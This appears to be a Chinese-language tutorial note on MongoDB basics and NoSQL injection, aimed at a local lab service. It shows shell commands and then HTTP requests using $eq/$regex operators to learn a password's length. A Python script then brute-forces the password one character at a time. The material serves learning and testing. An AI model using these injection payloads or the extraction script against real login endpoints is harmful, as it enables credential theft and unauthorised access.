# mongo mongodb://admin:[email protected]:27017 MongoDB shell version v4.0.27 connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb Implicit session: session { "id" : UUID("e1c9a87d-f9e4-4cfc-b661-8d7019d19628") } MongoDB server version: 4.0.27 Server has startup warnings: 2022-11-26T02:29:47.282+0000 I STORAGE [initandlisten] 2022-11-26T02:29:47.282+0000 I STORAGE [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine 2022-11-26T02:29:47.282+0000 I STORAGE [initandlisten] ** See http://dochub.mongodb.org/core/prodnotes-filesystem --- Enable MongoDB's free cloud-based monitoring service, which will then receive and display metrics about your deployment (disk utilization, CPU, operation statistics, etc).
The monitoring data will be available on a MongoDB website with a unique URL accessible to you and anyone you share the URL with. MongoDB may use this information to make product improvements and to suggest MongoDB products and deployment options to you.
To enable free monitoring, run the following command: db.enableFreeMonitoring() To permanently disable this reminder, run the following command: db.disableFreeMonitoring() ---
查看数据库
1 2 3 4 5
> show dbs admin 0.000GB arl 0.041GB config 0.000GB local 0.000GB
当前数据库
1 2
> db test
切换数据库
1 2
> use arl switched to db arl
查看集合(相当于看库表)
1 2 3 4 5 6 7 8 9 10 11 12
> show collections asset_domain asset_ip asset_site cert ... > show tables asset_domain asset_ip asset_site cert ...
GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{7} HTTP/1.1 Host: 127.0.0.1:8000
错误,说明长度没有7 GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{6} HTTP/1.1 Host: 127.0.0.1:8000
正确,说明长度为6
写给脚步跑一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import requests import urllib3 import string import urllib urllib3.disable_warnings() passwd = '' target = 'http://127.0.0.1:8000/inject?login=&user[$eq]=zeo2&pass[$regex]=' while True: for word in string.printable: if word not in ['*', '+', '.', '?', '|', '#', '&', '$']: payload = '^%s' % (passwd + word) r = requests.get(target + payload) if 'Welcome' in r.text: print("Found one more char : %s" % (passwd+word)) passwd += word